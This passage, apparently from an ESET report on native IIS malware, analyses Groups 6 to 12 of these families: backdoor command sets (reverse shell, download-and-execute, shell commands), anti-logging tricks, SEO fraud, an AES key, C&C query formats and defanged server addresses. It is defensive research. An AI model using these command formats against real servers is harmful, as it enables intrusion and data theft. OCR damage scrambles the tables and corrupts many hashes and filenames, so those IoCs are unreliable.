/checkout/checkout.aspx 
/checkout/Payment.aspx 


/privacy.aspx 


HTTP headers 
X-IIS-Data 
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Group 6 (ISN) 


Group 6 refers to another IIS infostealer, capable of collecting and exfiltrating payment information 
obtained through intercepting regular HTTP traffic on the server. The malware was discovered and 
reported by Trustwave in December 2013, when it was seen targeting credit card data on e-commerce 


sites. No other ISN activity has been reported since. 


ESET detection names 
Win32/Spy.!ISniff.A, Win64/Spy.!ISniffA 


Implemented handlers 


CHttpModule: :OnBeginRequest 
CHttpModule: :OnReadEntry 


Features 
Feature Comment 
Collects and exfiltrates sensitive information from regular traffic 
Infostealer ; c F 
between the compromised server and its clients. 
Analysis 


Please refer to the Trustwave report for a detailed analysis. 


loCs 


SHA-1 


A43D964E709EF8F7F035B85ED4AE9B26D4394B58 
E00E8477CEE2BEDA5B67346C9742C4002D6B567A 


Filenames and paths 


iis7 32.411 
iis7 64.d11 


Group 7 


Group 7 is the most complex IIS backdoor we have analyzed to date. On top of supporting a wide range 
of backdoor commands, it also has functionality to clear traces of malicious activity by disabling server 


logging of attacker-crafted requests. 


According to our telemetry, the backdoor has been active since at least July 2020, and has been used 
with Juicy Potato (detected as Win64/HackTool.JuicyPotato by ESET security solutions), which is 

a privilege escalation tool. Affected servers are located in Canada, the USA and the Netherlands. 

We suspect the attackers first obtain the initial access to the IIS server via some vulnerability, and then 
use Juicy Potato to obtain the administrative privileges that are required to install a native IIS module. 


ESET detection names 
Win32/BadIIS.F, Win64/BadlIS.U 
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Implemented handlers 


CHttpModule: :OnBeginRequest (classifying inbound requests) 
CHttpModule: :OnEndRequest (backdoor functionality) 
CHttpModule: : OnLogRequest (anti-logging feature) 


Features 
Feature Comment 
Supported backdoor commands: 
Collect system information (computer and username, logical drive information) 
Create, rename, move or delete files or folders 
Backdoor 


Upload or download files 
Modify file timestamps 
Map a local drive to a remote drive 


e 
e 
e 
° 
L 
° Execute shell commands 


OnBeginRequest handler (request classification) 


The OnBeginRequest handler implements request classification. If an attacker request is identified, the 
module sets flags in the pHt tpModule object so that the other two event handlers (OnEndRequest, 
OnLogRequest) can determine quickly whether this request should be handled or not. 


Unlike the other analyzed IIS backdoors, Group 7 doesn't use hardcoded passwords or specific URIs 
for its attacker requests — instead, the requests have a specific relationship between the URL, Host 
and Cookie headers. This makes detection of irregular activity much more difficult (as opposed to, for 
example, flagging custom HTTP headers). 


To recognize an attacker request, the malware computes the MDS of both the Host header and the URL 
using a custom implementation of the MDS function, and splits each into four double words: 


<h0><h1><h2><h3> = md5(Host Header value) 
<r0><r1><r2><r3> = md5 (Raw URL value) 


The Cookie header of such a request then contains a substring built from these values: 
<r1><h2>=<h3><r2><r3><r0><h0><h1> 
This relationship is presented in Figure 15. 


Additionally, the HTTP request must have a specific structure (that we have chosen not to discuss in 
detail, to protect the potential victims). The HTTP body is AES-CBC encrypted and base64 encoded, 
using these parameters: 

e Encryption key: DALF8BE19D9122F6499D72B90299CAB080E9D599C57E802CD667BF53CCC9EAB2 
° IV: 668EDC2D7ED614BF8F69FF614957EF83EE 


OnEndRequest handler (backdoor mode) 


The HTTP body of an attacker's request includes backdoor commands and arguments, organized as key- 
value pairs, as listed in Table 8. 


50 Anatomy of native IIS malware 


Table 8 // Group 7 backdoor commands 


Key Value 

/mode Command type 
/action Command 
/path 

/binary 


/data Command arguments (see Table 9 for full list) 


/credential/username Local user username, used for impersonation 


/credential/password Local user password, used for impersonation 


If the credentials are present, the backdoor uses them to log in as the user (via LogonUserw, 
ImpersonateLoggedOnUser) to execute the backdoor commands in the user's context. 


The command arguments are also organized as nested key-value pairs, as listed in Table 9. 


After executing the backdoor command, the malware modifies the HTTP response to the attacker's 
request. The response body is organized as key-value pairs, with the entries listed in Table 9 and two 
additional entries based on the GetLastError result (or custom error messages): 


/error/code 


/error/message 


This data is encrypted with the same AES key as the original attacker request. Interestingly, the 
encrypted data is then embedded within a fake PNG image, between the PNG file headers as a TEXT or 
BLOB chunk. Finally, the malware replaces the original HTTP response body with the fake PNG file, and 
sets the Content-Type header to image/png to give more credibility to this charade. 


The attackers use this technique in an attempt to keep their C&C communications unnoticed. 


OnLogRequest handler (anti-logging) 


The final handler implemented by Group 7 backdoors is OnLogRequest - this handler is called right 
before the IIS server logs a processed HTTP request. 


The attackers use the handler to modify the log entries for requests coming from the attackers, to make 
them look like casual requests. These steps are taken: 


e Rewriting the HTTP method in the request to GET 

e Rewriting the URL from the request to / 

° Deleting these headers from the request: Cookie, Origin, Referer, Sec-Fetch-Mode, Sec-Fetch- 
Site, Content-Type, Content-Length, X-Forwarded-IP, X-Forwarded-For, X-Forwarded-By, 


X-Forwarded-Proto 


With the log entries modified this way, the attackers attempt to further hide traces of their malicious 
activities, to make potential forensic analysis more difficult. 
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Table 9 // Group 7 backdoor commands 


Returned data 


Command type Command Arguments PERE 
A Command description (map structure or 
(/mode value) (/action value) (key names) pane 
description) 
/computer/domain 
t 
Collects basic system information: /compu ez/name 
computer name and domain caen ome 
init N/A N/A P . S /user/name 
username and domain, logical drives ye 
information. 
/name 
/type 
/- 
/name 
/attr 


Collects information about the files ` 
list /path ; Ñ /size 
in the specified folder. 
/create 


/access 
/write 


The contents of the file, 


Downloads the file with the encrypted and embedded 
/path es I 
get /binar specified name from the within a fake PNG image 
y compromised IIS server. (a PNG header followed 
by non-image data). 
/- 
/file 
/path Creates a new file or directory in /attr 
create /directory the specified path. Optional /data /size 
/data argument can hold the file content. /create 
/access 
/write 
file ET 
A š e 
Uploads a file with the specified jatt 
/path name to the compromised server. N 
upload . /size 
/data The /data entry contains base64- 
/create 
encoded file content. 
/access 
/write 
/path 
S ‘ À d /files 
/files Deletes the list of files/directories in 
delete ; /code 
/name the given path. 
/name 
/attr 
/path 
/dest I 
pans Copies or renames files from the /files 
move aa list, from the source directory to the /code 
destination directory. /name 
/name 
/new 
/path 
l /create I 
time Modifies file timestamps N/A 
/access 
/write 
/letter Creates a mapping between a 
/share local and a remote drive, using 
map . ; N/A 
dri /username the specified credentials for the 
rive 
/password network resource 
remove /letter Removes an existing drive mapping N/A 


Executes the specified command, 
either under the context of the 

cmd exec /cmd É s /output 
current user, or the user provided in 


arguments. 
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loCs 


SHA-1 


22F8CA2EB3AF377E913B6D06B5A3618D294E4331 
435E3795D934EA8C5C7F4BCFEF2BEEE0E3C76A54 
CED7BC6E0F1A15465E61CFEC87AAEF98BD999E15 


Filenames and paths 


cache.dll 
logging.dll 


Group 8 


Group 8 consists of IIS backdoors, commonly deployed under the names FilterSecurity32.d11 
and FilterSecurity64.d1l1. We initially obtained these samples from VirusTotal, where they were 
first uploaded in October 2018 and until late 2020. The main difference between the samples is the 
hardcoded password, which is used by the attackers to activate the backdoor, and probably also to 
distinguish between campaigns. 


We performed internet-wide scans using these passwords to identify potential victims, by sending 
requests that verify the presence of the malware on the IIS server. We found 17 servers compromised 
with Ver1.0.1 of the malware, and 7 servers running Ver1.0.2, with all 24 of these in Southeast Asia 
but mostly in China. We notified all of these victims about the compromise. 


Note that this malware family has never been publicly analyzed; however, we have found an incident 
response report published in 2019 that refers to two malicious IIS modules named FilterSecurity32.d11" 
and FilterSecurity64.d11” We were not able to obtain those two samples; based on the behavior 
described, however, we assume they are different versions of the same backdoor. 


ESET detection names 
Win32/BadlIS.B, Win64/BadlIS.B, Win64/BadlIS.C 


Implemented handlers 


CHttpModule: :OnBeginRequest 


Features 


Feature Comment 


Supported backdoor commands: 


° Collect system information 

Backdoor ° Runa reverse shell 
° Upload a file to the compromised server 
° Execute a file 


Backdoor mode 


Attackers can activate the backdoor functionality of this malware by sending a special HTTP request to 
the compromised server, with the special Cmd header present that has the following format: 


<password>$<command>$<arguments> 


621117678ffd20ce0a12 
12 MDS: 80887b65317£2d45761c1c2b96970e0c 
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The <password> consists of 32 hexadecimal characters and is hardcoded in each sample. We have 
chosen not to disclose these passwords, so as not to allow anyone to take over the compromised 
servers. 


The backdoor command can be followed by multiple optional arguments delimited by the $ character, 
for example dw$<url>$<filename> command instructs the backdoor to download a file from <ur1> 
and store it under <filename> on the compromised server. All the Group 8 backdoor commands are 
listed in Table 10. 


Table 10 // Group 8 backdoor commands 


Command S 
name Command arguments Command description Return value” 
C l ; Internal version string. We have seen 
vr N/A Queries internal version string 8 
Ver1.0.1 and Ver1.0.2. 
System information: computer name and 
domain, OS version and architecture, 
in N/A Collects system information language information, server username, 
list of logged on users, physical path of 
the server 
Connects to the IP address Connect OK!\r\nYou are f*cked!N 
supplied by the attacker and 
rs IP address r\n Or Sh*t!Error\r\nWhere is the 


then executes received data as 


shellcode in a new thread God! !\r\n 


Downloads a file from the 
dw URL, filename specified URL and saves it under 
the given name 


Good!Download OK!\r\n or 
Sh*t!Download False!\r\n 


I ‘ Executes the specified file with ' ' *t! 
ax Filename, command line I p y Good 1 Run OK!\r\n or Sh*t! Run 
the specified command line False!\r\n 
(other) N/A - sh*t! 132 34 


After handling the backdoor command from the attacker's request, the malicious IIS module clears the 
HTTP response previously set by the IIS server (via a call to IHttpResponse: :Clear) and replaces it 
with its own response with these characteristics: 


e The Content-Type header is set to text/plain 
e The HTTP response body is set to the return value listed in Table 10 above, in cleartext 


loCs 


SHA-1 

OAC34B71F1CBED482579509DDF12DC28312E11A5 
1B9EC94251AD5E8F407584DC786B261CADD7FA8F 
21618E3FE6D133403320B4430054394AED944105 
36741260BDE2B9304302F5AEB63CAEB309979554 
4F6EADO34BF9A0B27ECFF16A08DB3ED57EA9C7D4 
528527C8166FC55C2D80824D7C94FD574EACD1BC 
54E98E2655B39DFA486A01A09AC4920B7639401D 
5924800E432731C6699A80EF4D6AD9496EB1BF98 
5A5545B868EC41A15810E9351ECA93110C878BC1 
8BOD9F3DBA9BO5FFB91B8C7778 6B6FD8 5BEA6 944 
A70CA3 9BE94 962 9C8EED1A71258ADB25 9E6A9D9E 
AED3625099606849755A6C25022D072BCE7E9EE7 


T 


T 


T 


13 Some of the return values have been redacted 
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D669F4DDE56DF8D032520399EDEAOF9971063F38 
E3FE87183E5F63A63915EB9B3740218A42CD6CF3 


Filenames and paths 


FilterSecurity32.d11 
FilterSecurity64.d11 
liscrash32.d11 
liscrash64.d1l1l 


Network indicators (HTTP headers) 
Cmd 


Group 9 


Group 9 is an IIS proxy that is designed to relay C&C communication between compromised hosts and 
the C&C server. The same family can also perform SEO fraud by manipulating HTTP responses that 
the compromised IIS server returns to search engine crawlers. The attackers can use this malware to 
manipulate search engine algorithms to artificially boost SEO of third-party websites, by abusing the 
reputations of the websites hosted on the compromised web server. 


This malware family has been under active development since 2019, and we have seen several variants 
of this malware, with differences in functionality. In this section, we focus on the A variant of the family. 


Note that the B variant was already mentioned in an incident response report published in 2019 by 
Secpulse (along with instances of a Group 8 backdoor found on the same compromised server); 
however, no analysis of this family is publicly available. 


ESET detection names 


Win32/Bad!IS.C, Win32/BadlIS.D, Win32/BadlIS.E, Win32/BadlIS.H, Win64/BadIIS.A, Win64/BadlIS.G, 
Win64/BadllS.1, Win64/BadlIS.K, Win64/BadlIS.M, Win64/BadIIS.N, Win64/BadlIS.P 


Implemented handlers 


e Variable per variant of this family - a combination of OnBeginRequest, OnSendResponse and 
OnGlobalPreBeginRequest 


Features 
Feature Comment 
Prox Relays HTTP requests between compromised hosts and 
Y their C&C server. 
SEO fraud Replaces responses to HTTP requests from web crawlers 
with attacker-controlled content 
Initialization 


Group 9 stands out for its complex RegisterModule function. In this function, it creates instances of 
the core classes and registers for events that should be handled by the module. 


Unlike other analyzed families, it also uses this place for initialization. It decrypts strings (XOR 56) and 
initializes a global map structure with these key-value pairs: 
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“url”: “http://qp.008php[.]com” 

“keys” (or “key”): 
“yisouspider|yisou|soso|sogou|m.sogou|sogo|sogou|so.com|baidu|bing| 360” 
“path”: “app|hot|alp|svf|fkj|mry|poc|doc|20” 

“zz”: “http://qp.008php[.]com/zz.php” 


This structure is then used by the OnBeginRequest and OnSendResponse handlers. 


Note that all its values vary across the samples - refer to the loCs section for the list of all the C&C URLs 
we have seen. 


OnBeginRequest handler 


In the OnBeginRequest handler, this malware implements the proxy functionality and initialization for 
the SEO fraud functionality. 


SEO fraud initialization 


Incoming HTTP requests whose User-Agent header matches the 

(yisouspider | yisou|soso|sogou|m.sogou|sogo|sogou|so.com|baidu|bing| 360) regular 
expression, are considered search engine crawler requests. For these requests, this handler removes the 
Accept-Encoding header from the request. Thus, the server will not compress the response and the 
malware can easily inject additional data into the response without having to deal with the compression 
algorithm. 


For all other HTTP requests, the OnBeginRequest handler calls the DisableNotifications method 
with the RQ_SEND_RESPONSE parameter, which means that the OnSendResponse handler will not be 
triggered for those requests. 


«text: 743E4D00 

. text: 743E4D00 

.text:743E4D00 ; Attributes: bp-based frame 
«text: 743E4De0 

.text:743E4D@@ OnBeginRequest proc near 
«text: 743E4D00 

-text:743E4D0@ IHttpContext= dword ptr 8 
«text: 743E4D00 

.text:743E4D@@ push ebp 

.text:743E4D01 mov ebp, esp 
«text:743E4D03 push esi 

«text:743E4D04 mov esi, [ebp+IHttpContext] 
.text:743E4D07 mov ecx, esi 
«text:743E4D09 push L) 


.text:743E4D0B push RQ BEGIN REQUEST 


- text: 743E4D@D_mo e ax > 

- text: 743E4D0F 
-text:743£4D12 pu Š 

-text:743E4D13 call onBeginRequestHandler 
.text:743E4D18 movzx eax, al 
.text:743E4D1B add esp, 4 

«text: 743E4D1E neg eax 

.text:743E4D20 sbb eax, eax 
«text:743E4D22 and eax, 2 

«text:743E4D25 pop esi 

«text:743E4D26 pop ebp 

«text:743E4D27 retn 8 

«text:743E4D27 OnBeginRequest endp 

«text: 743E4D27 


Figure 30 // Disabling notifications for the BeginRequest event 
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Proxy functionality 


For incoming HTTP requests whose URL matches the */<path> regular expression 

(e.g. */ (app|hot|alp|svf|£kj|mry|poc|doc|20) ), the malicious IIS module contacts the C&C 
server where it relays the URI, HTTP headers and client IP address from the original request, and 
replaces the HTTP response with the data obtained from the server. 


For C&C communication, the malware uses WinHTTP API, with option set to 
WINHTTP OPTION REDIRECT POLICY NEVER. 


OnSendResponse handler 


The OnSendResponse handler implemented by this malware is only triggered for requests coming from 
selected search engine crawlers (as pre-processed by the OnBeginRequest handler). 


In these cases, the malicious IIS module obtains data from its C&C server (using a URL from its 
configuration) and injects this data into the HTTP response for the request. 


loCs 


SHA-1 


Variant A 

279D841539212D4F159404417404827EBC17B8D7 
44933C61C82B9FB7C2A17B32C010C5B044B638F3 
4E8B84412101112E73F846545A412127AA5DCEB8 
52FDE6863D8C3E79913B29EFA656C3B32FE2CF45 
5B205F3C19CAA177C0D32EBCCCAA3D3202764132 
62C47260DC013DDF625F0016736576BDF4E3B212 
64DF8B5AD43A0C4D81DFF075898E492FBAF1CD9E 
7DA9FBD4BAB842DADB943790E69B0C15E74EC614 
93C40123D11EFC0C75F9C8E515EA49B4D047D8C1 
A3E64F4D0898B77E5AE931029BCD330F2694643E 
A41F73A3A2 8E4 6ADBD6753F9BOA005E8A4FA55FD 
A42893843059ED9922FDAFFFOA02DF4F39519930 
B8051F1B51EC093BA56B1F70C8AE63EB6A9644C1 
BD98ABC510AC3DF66E21C3CDCEE7BDFC1A326AC5 
FABCEFF3B03D3DA0B338E2EC0F7D47E83E86F720 


Variant B 
3A3DF03DA61F86CEFEB7A1546421346CE2608DE1 
7080CC770A99FF57FD899E367B7F2A430FC55CD1 
8A25CBCF5B7DEBCA8A9E55D233E81 6EA6FBE8A0E 
B626B9A712FCF957438DBED8 895 75D3F9E1B33C8 
DD9F72DE1070903359ACEA98 88 4A953B23CB7354 


Variant C 
72FB52C21EDC50D7 9DDDAAAE 6EE473713CE4F82D 


Filenames and paths 


autehbas.dll 
autohbas.dll 
dirshow.dll 
httpevt.dll 
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mscorevt.dll 
sortkey.dll 
webdac.dll 


windows.dll 


Network indicators (C&C servers) 


ttp://20.3323sf[.]com 
ttp://20.3323sf[.]com/zz.php 
ttp://b3.wAat3zl.]com 
ttp://bj.whtjz[.]com/zz1.php 
ttp://b32.wzrpx[.]com 
ttp://b32.wzrpx[.]com/zz1l.php 
ttp://cs.whtjz[.]com 


TT FTF Ts p' 


ttp://cs.whtjz[.]com/zz.php 
http://df.e652[.]com 
http://df.e652[.]com/zz1.php 
http://dfcp.yyphw[.]com 
ttp://dfcp.yyphw[.]com/zzl.php 
ttp://es.csdsx[.]com 
ttp://es.csdsx[.]com/zz.php 
ttp://hz.wzrpx[.]com/pq.php 


ttp://hz.wzrpx[.]com/zk.php 
Etps//id.3323s£[.. 
ttp://id.3323sf[. 
ttp://qp.008php[. 
ttp://qp.008php[. 


ttp://qp.nmnsw[.]com 


]com/whl.php 
]com/zid.php 
] com 

]com/zz.php 


ttp://qp.nmnsw[.]com/zz1.php 
ttp://sc.300bt[.]com 
ttp://sc.300bt[.]com/zz.php 


ttp://sc.wzrpx[.]com 
http://sc.wzrpx[.]com/zz1l.php 
http://sf2223[.]com/xin.html 
http://sx.cmdxb[.]com 
http://sx.cmdxb[.]com/zz1.php 
http://sz.ycfhx[.]com 


http://sz.ycfhx[.]com/zz1.php 
http://xpq.0660sf[.]com 
http://xpq.0660sf[.]com/zy.php 
http://xsc.b1174[.]com 
http://xsc.b1174[.]com/zz1.php 
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Group 10 


Group 10 is IIS malware designed to manipulate HTTP responses that the compromised IIS server serves 
to search engine crawlers. Using a technique called keyword stuffing, the malware attempts to make a 
particular WeChat group appear more popular, and rank higher when searching for a group of this type. 


We obtained this sample from VirusTotal where it was uploaded in July 2020, but we don't have any 
information about its targets from our telemetry, nor was it possible to perform an internet-wide scan 
to identify potential victims. 


ESET detection names 
Win32/BadIIS.A 


Implemented handlers 


CHttpModule: :OnMapPath 
CHttpModule: :OnPreExecuteRequestHandler 
CHttpModule: :OnSendResponse 


Features 
Feature Comment 
Modifies responses to HTTP requests from selected search engine web crawlers to serve: 
° An HTML response with meta keywords and meta description tags stuffed with keywords referring 
SEO fraud to a particular WeChat racing group 
° A malicious JavaScript file with unknown content, potentially redirect code that would force 
the search engine to follow the redirect and index the content of the attacker's choice 
SEO fraud mode 


This malicious module only handles requests from selected Chinese search engine crawlers, ignoring all 
other requests (such as legitimate visitors of the compromised website). Following are the parameters 
of handled requests: 


° Content-Type header is set to text/html 
° The relative URL of the request contains one of the following substrings: 
° index, default, Default 
° User-Agent header contains one of the following substrings: 
° 360Spider, baidu.com, Baiduspider, sm.cn, Sogou web spider, sogou.com, soso. com, 


Sosospider, uc.cn, YisouSpider 


For these requests, the malicious module modifies the HTTP response set by the IIS server. It first 
iterates through the existing entity chunks of the response and matches them against regular 
expressions to identify specific HTML elements: 


<title>(.*?)title(.*?)> 
<meta (.*?)name(.*?)=(.*?)keywords (.*?)> 
<meta (.*?)name(.*?)=(.*?)description(.*?)> 
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Finally, it replaces these elements with a hardcoded version: 


<title> &#24494 ; &#20449; &#32676 ; &#45 ; &#36187 ; &#36710; &HB0; S#75; 8449; GHA 
8 ; &#32676 ; &#12304 ; &#36827 ; &H32676; &HZ4I494 ; &SH20449; &H102 ; SH117 ; &#110 ; KHB 
3; &#55; &#54; &#52 ; &#52 ; &#12305; &#95; &#24184 ; &#36816; &#39134 ; &#33351; &#95 
;&#24184 ; &#36816; &#50; &#56; &#32676;</title> 


<meta name = “keywords” content = “&#21271; &#20140; &#36187 ; &#36710; &#24 
494; &#20449 ; &#32676 ; &H44 ; &H2Z1271 ; &#20140 ; #24494 ; &#20449 ; &#36187 ; &#3671 
0; &#32676; &#44 ; &#21271 ; &#20140 ; &#36187 ; &#36710 ; &#24494; &#20449; &#32676; 
&H44; &#80; #75; &H49 ; &#48; &H3B2676; SH44 ; #21271; &#20140 ; &#36187 ; &#36710;& 
#112 ; &#107; &H49 ; &HAB ; GHZ4494 ; &H20449 ; &#32676; &H44 ; HBO; &#75;&#49;&#48;& 
#24494 ; &#20449 ; &#32676; &#44 ; &#36187 ; &H3B6710 ; &H24494 ; &HZ0449 ; &H#32676 ; GHA 
4; &#21271; &#20140 ; &#36187 ; &#36710; &#32676;&#44;” /> 


<meta name = “description” content = “&#21271; &#20140; &#36187 ; &#36710;& 
#24494 ; &#20449 ; &#32676; &#44 ; &H21271 ; &HZ0140 ; &H24494 ; &HZ0449 ; &#36187 ; &#3 
6710 ; &#32676; &#12304 ; &#36827 ; &#32676 ; &#24494 ; &H20449 ; &H#21495 ; &H102; &H11 
7; &#11; &#53 ; #55; &H54; &#52 ; &#52 ; &#12305 ; &#21271 ; &#H20140 ; &H24494 ; &H20449 
; &#36187 ; &#36710 ; &#32676; &#44 ; &#21271 ; &#20140 ; &#24494 ; &#20449 ; &#36187;& 
#36710 ; &#32676; &#44 ; &#20960 ; &#30334 ; &#20154 ; 112449; 135465; 122823; &#32 
676 ; &#44 ; &#36180 ; &#29575 ; &#39640 ; &H44; &H19979 ; &#20998 ; 124555; € 144; £ 43 

1119; &#21033 ; &#22810 ; &#44 ; &#27599 ; &#22825 ; &#37117 ; &#26377 ; &#24320 ; &H2E4 
26; &#31119 ; &#21033 ; &#9619; &#9619 ; &#9619 ; &#9619 ; &#9619; &#9619 ; &#9619 ; &#9 
619 ; &#9619; &#9619 ; &#9619; &#9619; &#9619; &#9619; &#9619; &#9619; 5427426; &HB 
6814 ; &#22823 ; &#23478 ; &#21152 ; &#20837 ; &#21271 ; &H#20140 ; &#24494 ; &H20449 ; SH 
36187 ; &#36710 ; &#32676; &#30456 ; &#20114; &#20132 ; &#27969; &#12290;” /> 


<script src="https://js.breakavs[.]com/93/jc.js”></script> 


The keywords correspond to Chinese Unicode strings, for example 4 RAE MIER JL a TIS RSH AL 

m Eat, PIO BF, ALR 8d5b pk 10 MEH that loosely translate to “Beijing Racing WeChat Group, 
Beijing WeChat Racing Group, Beijing Racing WeChat Group, PK10 Group, Beijing 8d5b Car PK10 WeChat 
Group”. 


We were not able to obtain the malicious JavaScript, so we don’t know its purpose, but it could be used 
to serve additional content to the search engine crawler, configurable on the fly, or could redirect the 
crawler to a website of the attacker's choice. 


loCs 


SHA-1 
2ED260A0EA017D0322C494E9EBFBOEICO7AGA0F2 


Filenames and paths 


FilterSecurity.dll 


Network indicators (C&C server) 


https://js.breakavs[.]com/93/jc.js 
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Group 11 


Group 11 is complex IIS malware, supporting a range of functionality such as manipulating HTTP 
responses served to search engine crawlers and to legitimate users, serving as a proxy for another 
malware's C&C communication, and supporting backdoor commands to allow the attacker to control 
the compromised server. 


The first known instance of this malware is from September 2020; we have no information about its 
targets. 


ESET detection names 
Win32/BadlIS.H, Win64/BadIIS.E 


Implemented handlers 


CHttpModule: :OnBeginRequest 


Features 

Feature Comment 

Supported backdoor commands: 
Backdoor . 

° Uploads a file to the compromised server 
Prox Relays HTTP requests from other compromised hosts to a C&C server, and 
Y redirects the hosts to a URL from the configuration 

Replaces responses to HTTP requests from search engine crawlers with attacker- 
SEO fraud 

controlled content 
Injector Replaces responses to HTTP requests from selected visitors with attacker- 


controlled content 


Obtaining configuration 

On each execution, the malware starts with obtaining its configuration from the C&C server, via a DNS 
TXT request for its C&C domain xinxx.allsoulu[.]com (using the DnsQuery_A API function). This 
configuration includes two URLs and indicators for which of the incoming HTTP requests should be 
processed by the malware. 


The expected format of the configuration is the following: 
<pathl>|<path2>|<userAgentl>|<userAgent2>|<referer>|<flag>|<ur1l1l>|<ur12> 


Parts <path1>, <path2>, <userAgent1>, <userAgent2> and <referer> can contain multiple entries, 
delimited by *!”. These fields are used by the malware to handle incoming HTTP requests, as described in 
later sections. 


During our investigation in November 2020, we obtained the configuration TXT record:& 


articled!newz!productd! app! newq! zqb!docs!map.php|imagez|sogou! 
Baiduspider!Sosospider! 360Spider! YisouSpider|iPhone|baidu.c!sogou! 
so.c!google!sm.c|88|http://143.92.48[.]38/?xhost=|http://allsoulu[. ] 
com/?tz=| 
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As of the time of writing, the TXT record has changed as shown below; this may suggest that the 
attackers registered a different domain for this purpose. Note that the backdoor functionality of the 
malware can still be used, even with the configuration information changed, and so the attackers can 
still access previously compromised servers. 


qqqlaqqq| qqqalqqq| qqqalqqq| iPhone | qqqqqlaaaqqaga|88|http://baidu.com| 
http: //baidu.com| 


To determine what action will be taken while processing the HTTP request, the module compares values 
from the configuration against server variables (i.e. HTTP headers and other parts of the request); 
comparison is performed after converting all alphabetics to lowercase. 


C&C communication 


Group 11 IIS malware implements an alternative channel for C&C communication. This is different from 
IIS malware families that only support backdoor functionality — the attackers can already control those 
backdoors by sending an HTTP request to the compromised IIS server, so there is no need for alternative 
C&C channels. 


For its injector, proxy and SEO fraud modes, this malware uses WinINet Windows API functions to 
contact the C&C servers specified in its configuration. The HTTP or HTTPS protocol can be used, with 
option flags set to 0x84008000 or Ox80FF9200 (binary bit flags of INTERNET FLAG * see WiniNet 
reference), respectively. 


As shown in Figure 31, the malware relays HTTP requests from legitimate visitors, other compromised 
hosts or search engine crawlers, respectively, to the C&C server, which responds with data that will be 
used to modify the HTTP response for these requests. 


HTTP protocol C&C protocol 
[ J HTTP request Relayed HTTP request 


— 9 —_— + -----------@---------> 
Legitimate visitor, 
search engine bot or O a — O 


compromised host Modified HTTP response Configuration data 


Compromised 
IIS server 


Figure 31 // Group 11 malware uses information from its C&C server to modify HTTP responses for inbound requests 


In all cases, some information from the original HTTP request is embedded in the relayed request, 
such as the original User-Agent header, and the client's IP address, that the malware includes in the 
X-Forward-For header of the C&C request. 


Backdoor and proxy mode 


This module can be used by the attacker as a backdoor, or as a proxy that turns the compromised IIS 
server into a part of C&C infrastructure (for other malware). 
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These modes are activated by special HTTP requests, that have a special Cmd header present, and 
whose URL contains a substring from the configuration (path1 entry, for example articled, newz or 
productd). 


Backdoor mode is activated if the Cmd header is in this format (the password is hardcoded in the sample, 
encrypted with a simple Caesar cipher): 


<password>&<filename>&<url>& 


When the module receives this command, it downloads a file from the specified URL and drops it on the 
IIS server under the specified name. This allows the attacker to modify the contents of the server. 


In other cases, the HTTP request is simply forwarded to the C&C server using the C&C protocol 
described in the previous section. The following format is used for the C&C query: 


http: //www.allsoulu[.]com/1.php?cmdout=<urlEncodedCmdHeader> 


These HTTP requests are probably used to relay command outputs between a compromised client and 
C&C server. AS a response to such requests, the malware adds the Location HTTP header to the HTTP 
response, which redirects the client to <ur12><hostHeader>, with the URL from the configuration. 


SEO fraud and injector mode 


When the module detects a request from a search engine crawler or a legitimate visitor, it relays 
information about the request to the C&C server and replaces the HTTP response set by the IIS server to 
the one obtained from the C&C server. 


The following formats can be used for the C&C query: 


<url1>?xhost=<hostHeader>? &reurl=<originalPath>?<queryString> 
<url1><hostHeader>&jump=1 


For example, a legitimate HTTP request to example.com/test.php?query could be 
relayed to the C&C server as http: //143.92.48[.]38/?xhost=example.comé&jump=1 or 
http://143.92.48[.]38/?xhost=example.com&reurl=test.php?query. 


Search engine crawler requests are recognized by the User-Agent header - according to the 
configuration (userAgent1 field), targeted are those with 360Spider, Baiduspider, sogou, 
Sosospider, YisouSpider substrings. These crawlers are presumably served content to manipulate 
search engine algorithms. 


On the other hand, the content served to legitimate visitors is probably ads, malicious redirects or other 
malicious/unwanted content. This content is served in cases when the original request URL, User-Agent 
or Referer header contains a substring from the configuration (path1, path2, userAgent2 fields). 


loCs 


SHA-1 


33F999E9F31648B3115D314EC49B09A005EC992A 
A2EF7DE7A217B6F9F0F886B5D4DE4C56D5AGA7BE 


Filenames and paths 


HttpCache.dll 
httpuser.dll 
ispric.dll 
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Network indicators (HTTP headers) 
Cmd 


Network indicators (C&C servers) 
143.92.48[.]38 


www.allsoulu[.]com 


xinxx.allsoulu[.]com 


Group 12 


Group 12 is complex IIS malware supporting backdoor, proxy SEO fraud and injector modes. Some of its 
samples are implemented as a trojanized version of FSXFFHttpModule.d11, which is a legitimate IIS 
module used to convert the X-Forwarded-For HTTP header so it's visible as the client IP address in the 
IIS logs. 


There are differences between Group 12 variants — for example, the B variant is partially packed with 
UPX. In this section, we cover the most evolved variant (A), but note that some functionalities are not 
supported by the other variants. 


The first known instance of this malware is from March 2020; we have no information about its targets. 


ESET detection names 
Win32/BadllS.H, Win32/BadlIS.!, Win64/BadlIS.AA, Win64/BadlIS.H, Win64/BadlIS.) 


Implemented handlers 


CHttpModule: :OnBeginRequest (malicious code) 
CHttpModule: :OnAcquireRequestState, CHttpModule: :OnSendResponse (benign code) 


Features 


Feature Comment 


Supported backdoor commands: 


° Collect system information 

Backdoor ° Upload a file to the compromised server 
° Execute a file 
° Execute a shell command 


Relays HTTP requests from other compromised hosts to a C&C server, and 


Prox s x 
T redirects the hosts to a URL from the configuration 
Replaces responses to HTTP requests from search engine crawlers with 
SEO fraud 
attacker-controlled content 
Injector Replaces responses to HTTP requests from selected visitors with attacker- 


controlled content 


Backdoor and proxy mode 


The backdoor mode can be activated by an HTTP request with the following characteristics: 


° cmd header must be present 
° 3389 header must be in the format <password>$<command>$<arguments> 


The attacker's password is recorded in the binaries as an MD5 hash, rather than in the clear, and varies 
depending on the sample DLLs. Supported backdoor commands are listed in Table 11. 
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Table 11 // Group 12 backdoor commands 


Command name Command arguments Command description Return value 
OS version, 
architecture, locale info, 
in N/A Collects system information. PC name, username 


and physical path of the 
server. 


Executes the specified command by creating Content of the 
a new process of $sysdir%\CmD /C. Stores temporary file with 


cmd Command line l 
the command output in a temporary file command output (the 
named with a gtest_redir prefix. file is then deleted). 
Downloads data from the specified host and download ok !! or 
dw IP address, filename us Ñ 
stores it in the specified filename.w download error !! 
Downloads data from the specified host and 
executes it. When finished, it terminates the 
msf IP address 


current process (IIS Worker Process w3wp . 
exe) via the ExitProcess API. 


For some samples, this malware also supports proxy functionality — for requests with the cmd header 
present (but not 3389), the malware relays information about the request to the C&C server and 
replaces the HTTP response body with the obtained data. The proxy functionality (but not the others) is 
implemented in the same way as in Group 11 malware, which likely has the same malware developer. 


SEO fraud and injector mode 


